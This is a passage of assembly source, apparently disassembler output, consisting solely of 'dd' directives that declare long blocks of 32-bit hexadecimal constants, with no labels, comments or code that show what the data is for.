		dd 1DF670h, 9328A384h, 0E1870765h, 909F8902h, 80B6E42Bh
		dd 1379A887h, 0AC95007Dh, 0E104DA7Eh, 9300BA23h, 269A067Fh
		dd 0A3B256Bh, 349B15DBh, 0D45F04h, 1D4021C8h, 4ADA3846h
		dd 0E26C0A18h, 3EE49E20h, 31E073A5h, 1156B1D4h,	0E1A86606h
		dd 3009BC8Fh, 7420DA8Bh, 0FB01552Ah, 4A75B55Dh,	16CC0958h
		dd 6041C13Eh, 8098C8D1h, 74B31378h, 0E8AE80h, 0AA383B7Fh
		dd 2F1EEBFCh, 0D66D490Fh, 6E59B98Dh, 73A2DE0h, 3D7D54E1h
		dd 2BEBF040h, 4160428Fh, 0DF893051h, 977530C6h,	1F6850D9h
		dd 66964203h, 0E8127D07h, 4AD627Ch, 606B29D3h, 476F0732h
		dd 0C00D45C1h, 4AB88910h, 0B9C33DFAh, 0A414F149h, 4369031Fh
		dd 7978C9ECh, 0CE700C50h, 998EBC05h, 0B040B523h, 3C587041h
		dd 2C4D001Fh, 0F6D90AE1h, 791CFE40h, 0FF4FE5E6h, 9E2BC12Dh
		dd 49803A32h, 37F19614h, 0C700A407h, 9E2FED47h,	186785FBh
		dd 88BE344h, 8A08609h, 0E07CDDC0h, 74B8B257h, 7A217007h
		dd 3AE03B6Ah, 608E6DBDh, 0D2BB2039h, 5201E31Dh,	1B4107B3h
		dd 0D2D3FE83h, 8A09033Bh, 63F12ED0h, 8601147Fh,	767CF8C0h
		dd 9CD421A9h, 0DED2A44h, 0C4E4028Ch, 964BC79Eh,	5C842B00h
		dd 0B0CA00AEh, 0EEABBAB8h, 8307AA6Fh, 0BF342252h, 3BADC9C0h
		dd 71462A78h, 51010098h, 46CC285h, 3C006F8Ah, 0DA13318Dh
		dd 4B07625h, 5B58D13Eh,	0E32489CCh, 0B23AAE0h, 21787200h
		dd 0E79BF6C0h, 0EE4137BFh, 0B85FB2F8h, 0B9FCAB80h, 0CBFC89B4h
		dd 5783748h, 413E7C2Bh,	118A9840h, 60AD8178h, 9D73916Ah
		dd 48FECE14h, 2710B207h, 4C406BE6h, 2DB502h, 13FBA4E7h
		dd 694D8EC8h, 75A5E506h, 7416C46h, 25675B05h, 0ED4B6129h
		dd 442080BFh, 0C00E170Ah, 0DDB400D2h, 7BD3638Bh, 5902499h
		dd 92B9313Dh, 485EC325h, 4F0090E9h, 0EE48E8F3h,	8D9400D9h
		dd 1ADE595Ch, 0C8334ABDh, 0FDACC945h, 6C2AFC71h, 1D04D30Ch
		dd 0FE8AADDCh, 134BC31h, 0BE88D56h, 0ADC6314Bh,	50134279h
		dd 0FB0668F4h, 0C998E800h, 9CFEFAE7h, 371B009Eh, 0C5636784h
		dd 6D0E570Dh, 0E40B9630h, 4888B04Ah, 77BF0114h,	0C1646E39h
		dd 8CAB7055h, 1650C00h,	0E64349E5h, 1B209257h, 393CE14Ah
		dd 0C044F0EAh, 626FED14h, 5CF5189Ah, 93F1321h, 9AF07E4Dh
		dd 0D9DF1000h, 4A00C750h, 0C5D60257h, 270F298h,	0DE98DBAh
		dd 844C6E3Ah, 0A81DB702h, 18082B52h, 4A803553h,	1E7F490h
		dd 3ADCD35Eh, 22CD198Ch, 96F0E74h, 0A8D6A0EEh, 2518Ah
		dd 0A12E88ADh, 0E3E09341h, 39C07C14h, 1AC851E8h, 3304C4CCh
		dd 0F030F931h, 920086CCh, 76978474h, 736642BEh,	6D9E186Ah
		dd 0F2345133h, 0CF00F890h, 9C8B396h, 56B5ADEh, 0F5C7D32Bh
		dd 13CC843h, 3EAA9700h,	0A74A083Dh, 22B77433h, 7500380Fh
		dd 0C9C6B232h, 8BBBE62h, 983B423Ah, 0B71B5E00h,	0E50C581h
		dd 0DE4AAA32h, 119C4851h, 0A24983Ah, 0EBC34104h, 6D42FCE6h
		dd 0CEC8C949h, 0AA8BCFA6h, 3584F816h, 1480F811h, 24E56655h
		dd 15B45054h, 9400C01Dh, 0FF99F878h, 0B8737EEDh, 0F566801h
		dd 0B4C34B28h, 0BBD06025h, 3E8CA830h, 7A89C040h, 85C1258Fh
		dd 2FEF6503h, 8DEDABF4h, 309F7C82h, 0E31156BFh,	7490B866h
		dd 5602763Eh, 8B6FA1E7h, 85ED9060h, 21428D30h, 77DC150h
		dd 0C9F97739h, 38B4F078h, 0C31F7AA3h, 1D4028B0h, 6D44BA9Ch
		dd 0C495496Ch, 0DFEB6000h, 3EB58726h, 0D033FE00h, 0C252F3E9h
		dd 4BF7020Ah, 194ABB38h, 0E74254C6h, 40DEA77h, 738B3AC8h
		dd 7D5888D1h, 0FDFA3203h, 0D8FBB1F9h, 7862EA0Bh, 4A27425h
		dd 633DBEECh, 1B9CC271h, 0B6003C64h, 0D0F3F266h, 1F773AEh
		dd 3932B8FFh, 30C283E7h, 79C0E6FCh, 3EDC7829h, 691100DEh
		dd 5B1A7412h, 410FF056h, 536CDB63h, 0E8C45454h,	334302h
		dd 1651176Ch, 3ABF49h, 4CC1C3BBh, 69483D39h, 25B1E360h
		dd 141CF643h, 0C8ABB46Bh, 33EC6303h, 84B0998Bh,	30C89E2Ah
		dd 2742966Bh, 0B62CA064h, 0E53B9F1Fh, 81593C84h, 0EAF5B882h
		dd 0E0360A49h, 8BCDD18h, 0E0159066h, 0C43F3Eh, 3DF44D0h
		dd 47249FAh, 8EAF48E4h,	102C81F5h, 8C00C3Eh, 5066C456h
		dd 7F405DC4h, 46C756B9h, 80A9666Eh, 0BE4E671h, 5D492F3Eh
		dd 9C03A5F0h, 42627F65h, 24C9EE5Bh, 40E0B34Ah, 48F5C814h
		dd 49E7C530h, 92996DD3h, 20DD4C34h, 513F7E0Fh, 60091261h
		dd 682999DAh, 583190EEh, 0DA5F3043h, 0D9F0096h,	4A0E5133h
		dd 0F21FD767h, 8CC14801h, 4FF5F3BBh, 7268D4h, 6D521454h
		dd 34DA09Fh, 0B858D460h, 18DD98A5h, 38463507h, 1003C69Fh
		dd 3AB9D81Eh, 80D592B8h, 0CE783224h, 518986Bh, 58F49717h
		dd 0E61820E3h, 0F6062DFCh, 400354ABh, 393800C1h, 9D7AC892h
		dd 8B011EB4h, 67F7B0A9h, 0AFE44598h, 40D80B6Fh,	400EDAB9h
		dd 9B582BE0h, 560098DFh, 0B0D78AD3h, 365A6961h,	0B98045A6h
		dd 483B0310h, 0B9DB0E02h
		dd 9C848083h, 0D3D040E9h, 0C1D67F89h, 14B4DB11h, 8B4CE082h
		dd 30DAF005h, 0C820BD46h, 0A2B8ED2h, 3C95EB68h,	0CBA704C4h
		dd 0C584D88Fh, 8CC3F804h, 1C325E75h, 0F87D012Eh, 0BBF8BA02h
		dd 1944006Bh, 3A0CAFABh, 0E0C1B41Dh, 8C526788h,	4C29B824h
		dd 4B00AFBBh, 99D7F013h, 3B006B3Eh, 12F4F231h, 0C4FB9DC9h
		dd 0B5BBA638h, 0B230DA08h, 66C21156h, 829488C0h, 2E552B8Dh
		dd 0D7F52BC0h, 54BEBF02h, 0C0A31A42h, 0B234034h, 69DA89C0h
		dd 0C492812h, 4C518B8h,	1AADDE1Dh, 35503109h, 0E89D0801h
		dd 0C801C6C4h, 21B0AB32h, 4820F424h, 0A9701AE4h, 60D84Eh
		dd 6650BA7Dh, 3A18D4E4h, 9CE0E1DDh, 2CCEEEE4h, 4C9803h
		dd 9D6E246Fh, 8B001C67h, 5C51E854h, 0BCD552Dh, 0B8F2BC08h
		dd 0E2307583h, 439F8800h, 0AA4C9225h, 0D7B00187h, 0C81F79DFh
		dd 0B93AFCCDh, 0E0000371h, 4F459611h, 0B5B3C0h,	0C26B7FFh
		dd 622A15CFh, 4A25A900h, 69AC1A80h, 1B880076h, 0BC361492h
		dd 65077109h, 0A416CC79h, 0D30D5F60h, 0D1D40FBEh, 4460113Eh
		dd 952B4B5Ah, 5517BF00h, 3662BCEEh, 91F83F7Fh, 0C092DB00h
		dd 0F7826348h, 21C27A07h, 36701A07h, 626AA4h, 6CDE06ACh
		dd 3ACCF785h, 540048F4h, 0BB4AF990h, 0C566D2h, 52269A11h
		dd 0D412E17Ah, 33ED8600h, 2AB3CD0Fh, 0F3D90683h, 694291A0h
		dd 0E9DFF103h, 901AC85Ch, 459511h, 271914B6h, 0F6BA4283h
		dd 0D353E600h, 32C4B921h, 2E790926h, 1E8CEEBEh,	5503BC19h
		dd 0DB4DA635h, 0CC5800F3h, 0C44B586Dh, 3D079DF1h, 8FE43017h
		dd 0CFB7A430h, 0B11200B2h, 7D64CD01h, 0B900BF35h, 0D01B4BB4h
		dd 1D96E63Eh, 83A15255h, 175FAFA2h, 0CD67A690h,	0EF1D2918h
		dd 358FC1h, 0B74B38A9h,	3768624h, 97C74300h, 0C1DE66ACh
		dd 0FDB2006Ah, 0FEC5D9D1h, 9E01295Dh, 21DCFA95h, 4BECC1BBh
		dd 0ABAC2849h, 18D0F48Ch, 0D90E42F7h, 0B53868D1h, 0F6307AEAh
		dd 8E3FB1E3h, 0E881E9D0h, 0F3B078BDh, 0A4108ECCh, 0A5D7A320h
		dd 6050EA91h, 0E02B2CE8h, 606738F2h, 0EC22EF80h, 0A816F0A3h
		dd 0F96DB03Dh, 44987200h, 0D1C4F9C0h, 0FCC100FAh, 705292E9h
		dd 6C1FFE41h, 0ED0785FBh, 6FC7E586h, 771CA810h,	0F33600B8h
		dd 6A1B2378h, 0D20C2552h, 813D1F1h, 4E21C0DEh, 0B9E81BAAh
		dd 886D400Eh, 0A14838E9h, 0DF20C020h, 0FF3A38ADh, 0E00C6A0Ch
		dd 58399Dh, 7F81D343h, 6CA52FF5h, 0A940F150h, 1BE0048Ch
		dd 620D5241h, 3B4520E2h, 5807B021h, 0A9E65760h,	83B02FF7h
		dd 392E452h, 6F1AF94h, 54C0FAE8h, 22FE6B51h, 153310C0h
		dd 0A5A43Eh, 342FEACh, 0AF9E1190h, 0E70043E2h, 0D94B0AE0h
		dd 6D30B5h, 8E5F4E08h, 0D42DF04Fh, 874A8900h, 165BD747h
		dd 8B4424D8h, 45EA0051h, 0BCCDE986h, 7300C572h,	3D0A8F59h
		dd 0E53BAEh, 27375D7Bh,	1DEE18DDh, 36909800h, 6F0E1CAFh
		dd 3C57E2CCh, 0C1802250h, 4FFB3B5Ch, 2D07E769h,	6A41B577h
		dd 7BA434C0h, 0BD801BFh, 453EE24Eh, 5AD7C425h, 2B40A30Eh
		dd 81409850h, 0E149C0B5h, 0D276C4FCh, 2585BB1Eh, 51D1D84Ch
		dd 7893005Ch, 4EB037FFh, 0C41EBC50h, 4A803E84h,	36FEF404h
		dd 66630155h, 0E040E14Bh, 44A453DEh, 51F313E0h,	409D58F8h
		dd 380FAC1h, 0B5C13A57h, 8100FBCFh, 39DB4E73h, 0F1D9CAFCh
		dd 77B87980h, 2F3A34B7h, 6FA7D800h, 29866975h, 8839C015h
		dd 71B8FF1Eh, 0DD2B2D0Eh, 0D64081ECh, 17C70BF0h, 87FA78h
		dd 0A35F9EF3h, 0C12B6001h, 915804A9h, 8B48CA5Eh, 0EFF67004h
		dd 0CE3E8FF8h, 152C04F0h, 0D4206311h, 0C8109765h, 4F2801A7h
		dd 884651Ch, 8387C70Fh,	58E572DCh, 0F7AC1820h, 265E6601h
		dd 0E685019h, 1001E741h, 0B05009B1h, 19318A14h,	0A70C4CA0h
		dd 30A80950h, 1E19EF01h, 39DDA927h, 87906954h, 50CA2217h
		dd 421094CEh, 0F9CF1460h, 3D044608h, 6BED9FEFh,	39444814h
		dd 0DC8E6E4h, 1CA153D1h, 98DE4F03h, 84291C0h, 14F7280Ch
		dd 4CA0D9F8h, 40F8B50Bh, 4BF140A6h, 0D480050h, 6E6F6053h
		dd 73A0296h, 5DFA37C0h,	8BC5F27h, 34F03BEEh, 0F18FC188h
		dd 175AFC21h, 3418D604h, 2710F69Bh, 50C4A4B6h, 76C2BCh
		dd 0BE5AF4D5h, 98E52C4Bh, 68AD551Ah, 9D796041h,	0B83A09C6h
		dd 60201FA2h, 89976A8Eh, 8C5AF624h, 1EC75030h, 0C58C38Ch
		dd 4900FDA4h, 0AB403358h, 98C0DCE2h, 18D3744Fh,	609FF049h
		dd 8F18DBE5h, 0F311EBFFh, 680E006Ch, 1D531061h,	69C321CAh
		dd 0A4A595h, 9D242A49h,	0CF5C3B43h, 8CC44007h, 5347DFA0h
		dd 0BF596940h, 0D527019Dh, 265A17DEh, 505441B5h, 9B65F903h
		dd 0C32C8A08h, 6C7F1CBh, 48BA4025h, 8F089F30h, 0F5007DA0h
		dd 0B462EC86h, 70E35D30h, 977C041Bh, 0C01E4728h, 5E9BF6B9h
		dd 0B865A300h, 0F21BD32Fh, 19B51514h, 7EC4A1h, 4D3D3CDCh
		dd 0FD91ABF0h, 0E8644637h, 0AED03590h, 182A0CF3h, 5589096Ch
		dd 0B8E58901h, 0E6DB2778h, 0B41FC180h, 0CA6C1BADh, 0D50BB8A8h
		dd 6B6D1815h, 0CDF07ECh, 45EEA090h, 0F800BAD6h,	1C5584DBh
		dd 0DAB7C37h, 4B6D1D49h, 0EEE19831h, 7F02EF08h,	0F3EC7C6Ch
		dd 496F8h, 32FED5Bh, 0AAA555FFh, 100EA228h, 0B0C5DE28h
		dd 0E93FFA30h, 508FD01Fh, 0E887B068h, 9D3130C7h, 152AFA68h
		dd 400970EBh, 0A9D3C200h, 6BA4617Ch, 572C9073h,	1067A826h
		dd 0F3C97B8h, 409C4502h, 9002A862h, 94AE23C7h, 0E6FADDC0h
		dd 0B8A5D7EAh, 624EE508h, 49015A73h, 0FB00A4F2h, 4005DA57h
		dd 8ACD26ECh, 0D0EE73C3h, 7B2A982h, 0B5A40194h,	5E5F2321h
		dd 0BD955801h, 0EAB36ADh, 81F2C440h, 257F92h, 9C01192Eh
		dd 2814A27Fh, 0E9242C04h, 1486220Dh, 77950168h,	85E4D761h
		dd 0E95C7035h, 505D4824h, 0D0C0BB0Ch, 0D5941667h, 0B32C40A1h
		dd 657DA473h, 0E268C49Ah, 4E0CB8E0h, 21E30C3h, 615B8ED8h
		dd 0D04A23E7h, 5C16D800h, 170ABA0Bh, 8C216EFEh,	406279E2h
		dd 496B43D0h, 0F32AB8DAh, 36BC0CA8h, 0DE30F538h, 1C5A841Ch
		dd 8A666D44h, 65CF309Ch, 244A9F7h, 0A15AA88h, 9820544Bh
		dd 4CA41499h, 0EE206073h, 0A8A8B570h, 0E9F61161h, 0AD959603h
		dd 0C8C1E3F2h, 31DFA67Eh, 43408488h, 8EA3005Eh,	6D580315h
		dd 8C78C776h, 29959131h, 26107CF9h, 1C543BDDh, 870A0B88h
		dd 0A4A0490Ah, 1B7E5822h, 27C27802h, 0A75ACCB5h, 0CDA07548h
		dd 1F21C29h, 74FFF4D0h,	202A937Dh, 0EA3E6DCCh, 0F3290E02h
		dd 0C7A20FE3h, 85449784h, 0E2918C80h, 0D62109FDh, 0C406B2A1h
		dd 0E503795Ch, 422DDBAh, 24717ECDh, 12C844B2h, 86E03257h
		dd 1C72CF03h, 7F21939h,	88EC209Dh, 0B35C7C00h, 722ACF9h
		dd 0A8012A94h, 1B96D031h, 0A614899Ah, 158C4772h, 1EC06CE7h
		dd 76FC2AE3h, 0B1FF09Ah, 0A81EA688h, 0F08FFC0Ah, 0EFE34180h
		dd 6E36BDECh, 0AC008185h, 9F352058h, 60A76448h,	715C9878h
		dd 1C8F0981h, 0C819086Ch, 1D62F05Fh, 10E3E230h,	0EE1CBAACh
		dd 0F4D35C04h, 0C810ED14h, 9843E57Ah, 66A2D8FEh, 0BEE70227h
		dd 0D670F69Fh, 0A5C84CC3h, 904D135h, 0EE9636C0h, 90C9FE03h
		dd 61F754F3h, 75BCB4ACh, 968C0020h, 24009914h, 43737721h
		dd 0A6FA1Dh, 294B98BDh,	10C8D9A5h, 394C001h, 0A19AED36h
		dd 0F8ADD870h, 0BF27017Eh, 21AB49EBh, 964C6069h, 1CC460C0h
		dd 0A82CC777h, 3BB57D94h, 0AC80CC15h, 7F3D3626h, 0F0C30737h
		dd 0E08FA5C7h, 7D87591h
		dd 591154A4h, 0BF450E6Ch, 0F800F17h, 28E4AE86h,	677C5800h
		dd 23C076B8h, 0DDFE307Bh, 5A36FD58h, 89E1ECB1h,	9F70D928h
		dd 0CEA76E4h, 0DCE313A5h, 0B4679FD8h, 80C97C78h, 63ADFF80h
		dd 0AAF70014h, 335AF32Bh, 7067E510h, 80C01A30h,	3968AF16h
		dd 2B964D71h, 0FD88002Ch, 59B3F33Ch, 0A2F51014h, 44E70628h
		dd 9A18B48Ch, 272244B0h, 0A9B4EE6Ch, 1EA90AF6h,	40606925h
		dd 0BA4BFCD9h, 8A8A8C8h, 91012954h, 616F8645h, 8F3A9050h
		dd 3D4B073h, 0FBAFBF4Fh, 9132F16Ch, 9095581Ch, 0A8277D7Ch
		dd 0C1646808h, 7528FE79h, 16F1814Ch, 0F2FA83F7h, 54408440h
		dd 400E6077h, 0A9A4ACBDh, 0ED81D218h, 87713F91h, 7C189496h
		dd 30862D49h, 1B39B86Eh, 56393EDBh, 38890069h, 0B9FCF58Ah
		dd 0B8A9C06Fh, 0A11350FBh, 5D2631C0h, 70F6AFE1h, 22210B46h
		dd 7C8F86D4h, 39B874E6h, 0E86A9D1Eh, 6446099Fh,	3987090h
		dd 5B67F8F5h, 103F79DEh, 5C8017CDh, 73218E01h, 0C05322E7h
		dd 94C2A451h, 0EE0060ACh, 482D1315h, 91A44484h,	0B44C355h
		dd 0EF4E1100h, 20110E87h, 0B497011Ch, 0A26B642Bh, 0DB688672h
		dd 0C1B9A4h, 5FF9BFFFh,	0CCD9E0F7h, 68C2A0A4h, 0E618CA2Fh
		dd 38B00338h, 2196CC34h, 8C969877h, 9F1C5C80h, 0B0A914C4h
		dd 22920A2Ch, 0B0F889h,	844FC26Dh, 50002495h, 9D1E2D01h
		dd 1F8632CDh, 666C1362h, 0CB708A40h, 0CB72F040h, 0A391963Fh
		dd 0C7DE87A0h, 34858B14h, 4B2890FAh, 0C07117DAh, 92405D5Ch
		dd 72F9AC04h, 54749C0Fh, 3CFB1062h, 59298D86h, 6C9C05E0h
		dd 406FFD0Ch, 352F4CFEh, 0CA17702h, 8048F0A4h, 6AF66CF5h
		dd 0D8AE6344h, 6B6F18C9h, 7F352184h, 191C5B00h,	0AE5522h
		dd 95505382h, 0D8431890h, 7DE1C200h, 51BCFFE4h,	0DA4B608Ah
		dd 0BAA172EEh, 6A88100h, 0A0B27C99h, 496300C6h,	0D37E4E0Dh
		dd 0CC13EB71h, 4409D472h, 201C025Dh, 1E1CC87Dh,	51863060h
		dd 0ED0126F1h, 0EF00F092h, 111EA18Ah, 0B0771A2Fh, 9DCF2E08h
		dd 231DB814h, 0B117C11Dh, 0BF533D05h, 46EF8439h, 0D8927643h
		dd 3DE2C0BEh, 1C0BE2F3h, 0CC5BDF55h, 0C121524Fh, 0E927BB00h
		dd 7FD3E85Ah, 0A05C0940h, 0F44812CBh, 2B00664Eh, 0ED8E136Bh
		dd 36C07EFh, 2917617Ah,	9DBAE34Bh, 0A10A6C0h, 59804730h
		dd 0CD01D1h, 0FD160C18h, 0C25EFFA2h, 8E592A03h,	801CEF71h
		dd 608AE010h, 9E0A69DCh, 0DA00ED3Ah, 837880B2h,	3623932h
		dd 0CFA71989h, 56910E8Ch, 6920D061h, 982D9780h,	90DDE03Ch
		dd 0E7C600ECh, 98B57786h, 4AEAF2FBh, 0D8285DB0h, 0E0003419h
		dd 4F9BC6E9h, 9F682Bh, 7A9A18F2h, 0F9D70237h, 0FCF08AEAh
		dd 0A448EE03h, 1FB17099h, 24D18038h, 0B490610h,	2900E97Ah
		dd 7BB05DE1h, 0A0D68095h, 2384993h, 0CCE85B94h,	0FC81E5CEh
		dd 20247B68h, 0F2585D70h, 39E00A8h, 905FA2E6h, 6E4D348Eh
		dd 0C9BC81A1h, 1AA4307Fh, 0B2E43F0Bh, 7C2800F2h, 18752A37h
		dd 20657E1Bh, 0CEE07A91h, 6BC9E024h, 9B422021h,	3BB63074h
		dd 5809E092h, 91DF5B7h,	0AC4180C0h, 0EE1AFAE6h,	0DFE20489h
		dd 0A0DE28B5h, 8C945E60h, 0D14FCD60h, 92D9038h,	0DCF6F833h
		dd 2A6EC8A0h, 0FD543643h, 9A7776C8h, 4F68C101h,	0B6755004h
		dd 60FCCACEh, 1A325F3h,	0ECC90CA4h, 0D1BEE270h,	9621802Ah
		dd 0E31D24D7h, 7E93036Bh, 48C2BC4Dh, 0C40091D2h, 119492h
		dd 3350682h, 9B0428B9h,	7730B1C0h, 0B18CB60h, 69B51C1Ah
		dd 3A1F6CA0h, 99021075h, 6B3E9ECDh, 61C882CCh, 5A2C46D8h
		dd 7C3C41C3h, 2919E027h, 0BCFE0118h, 0C28035Ch,	91F69CCh
		dd 567B0ABh, 0BFD9C440h, 42265C1Ch, 80588C09h, 59DAC0C2h
		dd 5D070068h, 89F5228Ah, 0A30BB542h, 885C6F3Eh,	215C34D0h
		dd 9A805ACCh, 6F63203Fh, 1CD1094Ah, 8480B214h, 0AD5B5D2Ch
		dd 0CFF09209h, 0D8089849h, 0F2A6262Bh, 4208A404h, 9E00A0C3h
		dd 2D2BD0h, 0E53BC71Fh,	76C4D7E8h, 5CFD5000h, 0E220A56Ch
		dd 0B25F141Dh, 7810AC1Fh, 80303DC3h, 0F834F7ADh, 0C10B7A2h
		dd 0F6F328C0h, 1E0A61D1h, 0ACA14CD9h, 9762D764h, 64629C8Fh
		dd 788967AEh, 0CDB47048h, 0CA109004h, 8EC29352h, 801A410Ch
		dd 5F4E031h, 0F62D1CE5h, 13CC6E8Eh, 9E0480C6h, 8A00422Eh
		dd 43DFEE6h, 7698B84Ah,	0A8A3164Bh, 0BEC0428h, 61C1017Dh
		dd 0A865295Dh, 1D266BE0h, 16F935h, 0A59B01FAh, 754BFECCh
		dd 8DDA0400h, 3E53DD2Dh, 0A8023AE6h, 21643804h,	6FECC4A0h
		dd 0AC4030D1h, 0D9388CA0h, 0A3F2882Bh, 0E0C86957h, 15FED19Bh
		dd 6987BB58h, 32F800C9h, 59953EEh, 7222368Ah, 0BAA03121h
		dd 0DCCAF75Ch, 9D04184Ch, 319661BBh, 2BF1EAC0h,	352C0344h
		dd 0C0B8091Dh, 0FC929AB9h, 53004164h, 0FA1EE9D6h, 69B99Bh
		dd 61E0F596h, 0F0198818h, 72044E00h, 0A8E1CFEAh, 0D50E0074h
		dd 0B962BE4Fh, 9E004354h, 5879F0F9h, 0BD32BFCBh, 0D1612800h
		dd 8000AB67h, 0B77B9BF5h, 0A8E39Dh, 0B538687Ch,	3CC51F24h
		dd 9660F21Dh, 0D5369FC0h, 7BE38629h, 88D11F71h,	0C8B5D877h
		dd 0D5E67824h, 0C9F44D0Fh, 18BE8C3Eh, 5E7BFDh, 94E8918Ch
		dd 7903BCCBh, 410D950h,	80135C3Ah, 91EA3DA7h, 57BF8AA5h
		dd 0E5009090h, 4C0365C1h, 5B72777Eh, 61BF2601h,	1E2E3036h
		dd 291B80BCh, 1BE0089Bh, 8400408Eh, 6DCEFD15h, 3F3C4ED2h
		dd 0F7804A73h, 0E4180EA2h, 4500C8E1h, 8380EE95h, 31D05A66h
		dd 68F1624Eh, 29BAD0D6h, 28AE6D00h, 93155DB0h, 0D7AA0087h
		dd 0BFD0527Bh, 5648D624h, 1E330080h, 2DBBA8E6h,	7AD5000Fh
		dd 70FCFDD2h, 240E91C8h, 80C64B3Ah, 5362C3AFh, 0DC96072Dh
		dd 800DB8A8h, 8FA3474Eh, 0DDAEF524h, 6AB3800Eh,	9C7820A6h
		dd 18E743F0h, 0BF28CEA5h, 2EBB0E51h, 4B8058BAh,	36BCA971h
		dd 602B6200h, 0AA379365h, 7494A025h, 9676C4h, 0DD75D05Bh
		dd 5453CA7Ch, 982C1124h, 0AACC9300h, 383FC862h,	0E68C1096h
		dd 0DA6842E1h, 70904430h, 0D0738Ch, 0F3BCA726h,	824C6F5Dh
		dd 8DCA2F01h, 0D94D2A21h, 7C757280h, 6798EBA6h,	0F23A3Eh
		dd 0CF9085D1h, 0F948DCh, 4EB8680Dh, 38587A9Bh, 0A1D74F00h
		dd 652F49F6h, 0FDB857h,	0B4276C9Dh, 1015FF67h, 6AA6F400h
		dd 4EC0240Ch, 0B90901D5h, 0B58E261h, 0F0ED3076h, 6E37430Ch
		dd 0C36D100Dh, 0F6A88A09h, 997E1000h, 9ABA16A4h, 9C0C03EBh
		dd 0BF15A529h, 0AE05E5C0h, 0ACB3FC03h, 0E0D03616h, 356BDh
		dd 0EE225ACEh, 271C5558h, 2EB5B700h, 674DF775h,	0DCDA00F8h
		dd 7672AFBBh, 1F008BE2h, 0FF895505h, 9D5CB3DEh,	5E77FFD0h
		dd 0A65DB100h, 4323B446h, 827000B2h, 0CC54669Ah, 0E9002B59h
		dd 458667C1h, 18BF635Ch, 0B49BAAE4h, 0E2005B8Eh, 0DB034036h
		dd 1FD94B76h, 8083AC2Fh, 0B30695F6h, 0B707ADEBh, 0E940AEBDh
		dd 3687A6F7h, 82A73B00h, 7650080h, 0E8D6B3CCh, 0BB001981h
		dd 4CCA3DB7h, 0E59EEE1h, 0A892701Ah, 7CC036E0h,	0FE00DE0Eh
		dd 8814A586h, 380CDBD8h, 2F00B531h, 0C7B1ACE7h,	500C341Fh
		dd 0A0325105h, 34775AAh, 7B4A48Ah, 18D65385h, 0EA982A00h
		dd 5054CC9Dh, 55D90056h, 0FF6B1BB7h, 0D1008FB8h, 0FE2D4828h
		dd 0B064A3C9h, 80EF00D5h, 5DC02713h, 74001795h,	71509EE7h
		dd 74C8F43Bh, 0F29A00E1h, 89B24511h, 480017E8h,	0B304F8EFh
		dd 2CBFBB14h, 30D250h, 24CEC5BEh, 3B006242h, 9E2C21DBh
		dd 0F7DF32h, 0B8FE4074h
		dd 0EE46BF4Dh, 4001998h, 1775A2E7h, 124A1A3Dh, 1E6F4448h
		dd 0ABD628h, 93A75BB4h,	1C508E43h, 3B00AC9Ah, 0A6502F11h
		dd 0FF2CEB7h, 95A33FD6h, 0EEE9003Fh, 0E01410FAh, 0DD79BA00h
		dd 0C19E624Dh, 0FEC848CDh, 28988D0Fh, 8DE50Ah, 0B5BA9994h
		dd 24098C4Eh, 0C073F5CFh, 0B61A8Eh, 92742E08h, 7145B432h
		dd 0AE78C603h, 0C0102641h, 13BB2Dh, 32C188DEh, 0EC4F7CD5h
		dd 0ED82F900h, 95E9EEDDh, 93A61872h, 0B4F8AA64h, 0BC3A4CF8h
		dd 0C1799FFDh, 40F782C0h, 3C49694h, 9D708B5Bh, 22E0A649h
		dd 0DD24D0A4h, 6D80B432h, 8E39EB3Fh, 73E6CCh, 0AA389ADEh
		dd 202FA254h, 69CAE700h, 0C5D5EBDh, 980B0042h, 30DBB365h
		dd 0E02DDC3h, 7664AD97h, 46AF80CEh, 1DF4C836h, 0E9EA78h
		dd 4A162C9Ch, 0B5009474h, 0DCE6ACDFh, 0FCA93B8Ch, 0BA67051Fh
		dd 0C083C6ADh, 6E8F539Ah, 0FDC1AA00h, 9AFB2945h, 71D12665h
		dd 0C0D70000h, 2ED56306h, 90591700h, 3ED25458h,	5C371D7Eh
		dd 39BB4050h, 8034B711h, 0A2F60600h, 203C1E07h,	0E6F50F55h
		dd 0F76A8E2Eh, 0A6EB00C8h, 0ACE919A9h, 35836B12h, 39288C00h
		dd 0FD42A59h, 0C0984A78h, 9245B064h, 0BE09B20h,	0D3005030h
		dd 0CCC83786h, 3C4D9ACAh, 1593AF60h, 7C3109A9h,	0CE359C00h
		dd 0DF00935Eh, 8AF10753h, 1928F79h, 0F4C6CD40h,	0D1333445h
		dd 2CBE6098h, 0E3D7AF00h, 219BA6A4h, 55B30017h,	4A0DFB02h
		dd 6A004401h, 0FDEE107Bh, 5CBCEDh, 5F079F95h, 6EC1E336h
		dd 0D8055B78h, 0E68D2C83h, 4446D000h, 0E0C4FD2h, 28ECF55Ah
		dd 2B534B80h, 0E03F74AAh, 0CC9F80BBh, 20CA3295h, 52370026h
		dd 6A59D911h, 33759E41h, 39560F07h, 1FE05B13h, 0B5AF27h
		dd 0F0350999h, 0F724A33Ch, 6E112D1Ch, 9E527A80h, 0D883E9h
		dd 56D9C444h, 8428CDC5h, 9C424B01h, 272289AFh, 0B0ED50FCh
		dd 0FCD80061h, 565E4E54h, 470069FDh, 67AE2146h,	3CB80BCCh
		dd 3D0955D3h, 0B004D7Fh, 120D7796h, 3CA3B400h, 0CBBA0616h
		dd 0BEAB03C6h, 9D979A8Ah, 1CDB67A8h, 46BD0F00h,	156BBA9h
		dd 0CED03A28h, 9CA096h,	0F3C25D31h, 7639AE83h, 803FBF68h
		dd 4FDB303Ah, 20DE5Fh, 9B53D918h, 0E980A83Bh, 40E75E00h
		dd 4FF617A0h, 0FB58003Ah, 0E0BAC290h, 10C33BF9h, 0D80BA3CCh
		dd 24419Eh, 0B268B42Fh,	14937ACh, 9A6AB500h, 48897F36h
		dd 5B98A0DDh, 653B00E9h, 4207334Bh, 80E24DBAh, 0C7007178h
		dd 0A91F7B30h, 0B67A7AEh, 0A1E6F831h, 5784F800h, 0B06D91Eh
		dd 0AEB4D5E3h, 0B565009Ch, 9C98970Ch, 0E800B736h, 5D6BF304h
		dd 74551DA2h, 85F638E3h, 92983380h, 84900583h, 463D6003h
		dd 0D828F719h, 308BBDBh, 6D8D205Ah, 0DDF04064h,	21001A3Ah
		dd 0FABE2C42h, 0F0288Ch, 7B0B657Dh, 934DA95h, 935BDB0Ch
		dd 0F2D71A0Ch, 0F47F22h, 41784B47h, 0E6E25A7Ch,	0C38BE000h
		dd 2D1470B6h, 0F6990031h, 19D8DA61h, 0D30F30EEh, 0A01BCFF7h
